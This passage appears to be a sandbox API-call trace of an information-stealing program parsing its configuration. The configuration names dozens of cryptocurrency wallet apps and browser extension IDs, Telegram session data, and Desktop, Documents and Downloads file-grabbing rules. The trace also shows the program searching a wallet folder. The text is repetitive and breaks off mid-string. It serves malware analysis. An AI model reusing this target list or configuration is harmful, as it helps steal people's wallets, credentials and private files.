Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.249] lstrlenW (lpString="elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4085 [0266.249] LocalAlloc (uFlags=0x40, uBytes=0x206a) returned 0x6fc408 [0266.249] StrCpyW (in: psz1=0x6f7178, psz2="*" | out: psz1="*") returned="*" [0266.250] LocalFree (hMem=0x6fc408) returned 0x0 [0266.250] StrStrW (lpFirst="-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.250] lstrlenW (lpString="elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4085 [0266.250] LocalAlloc (uFlags=0x40, uBytes=0x206a) returned 0x6fc408 [0266.250] StrCpyW (in: psz1=0x6f9ac0, psz2="-" | out: psz1="-") returned="-" [0266.250] LocalFree (hMem=0x6fc408) returned 0x0 [0266.250] StrToIntW (lpSrc="26") returned 26 [0266.250] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6bf278 [0266.250] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6bf278, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.250] PathCombineW (in: pszDest=0x6bf278, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming", pszFile="Electrum-LTC\\wallets" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Electrum-LTC\\wallets") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Electrum-LTC\\wallets" [0266.251] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6fc408 [0266.251] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6c0120 [0266.251] StrCpyW (in: psz1=0x6c0120, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Electrum-LTC\\wallets" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Electrum-LTC\\wallets") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Electrum-LTC\\wallets" [0266.251] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Electrum-LTC\\wallets\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\electrum-ltc\\wallets\\*"), lpFindFileData=0x24f880 | out: lpFindFileData=0x24f880*(dwFileAttributes=0x6e22f2, ftCreationTime.dwLowDateTime=0x751dc35e, ftCreationTime.dwHighDateTime=0x6bf278, ftLastAccessTime.dwLowDateTime=0x23, ftLastAccessTime.dwHighDateTime=0x24f89c, ftLastWriteTime.dwLowDateTime=0xe1, ftLastWriteTime.dwHighDateTime=0x24f8e2, nFileSizeHigh=0x3a0043, nFileSizeLow=0x55005c, dwReserved0=0x650073, dwReserved1=0x730072, cFileName="\\kEecfMwgj\\AppData\\Roaming\\Electrum-LTC\\waЁ", cAlternateFileName="kk")) returned 0xffffffff [0266.251] LocalFree (hMem=0x6fc408) returned 0x0 [0266.251] LocalFree (hMem=0x6bf278) returned 0x0 [0266.252] LocalFree (hMem=0x6ef5a0) returned 0x0 [0266.252] LocalFree (hMem=0x6f1ee8) returned 0x0 [0266.253] LocalFree (hMem=0x6f4830) returned 0x0 [0266.254] LocalFree (hMem=0x6f7178) returned 0x0 [0266.255] LocalFree (hMem=0x6f9ac0) returned 0x0 [0266.255] StrStrW (lpFirst="wlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="wlts_") returned="wlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus 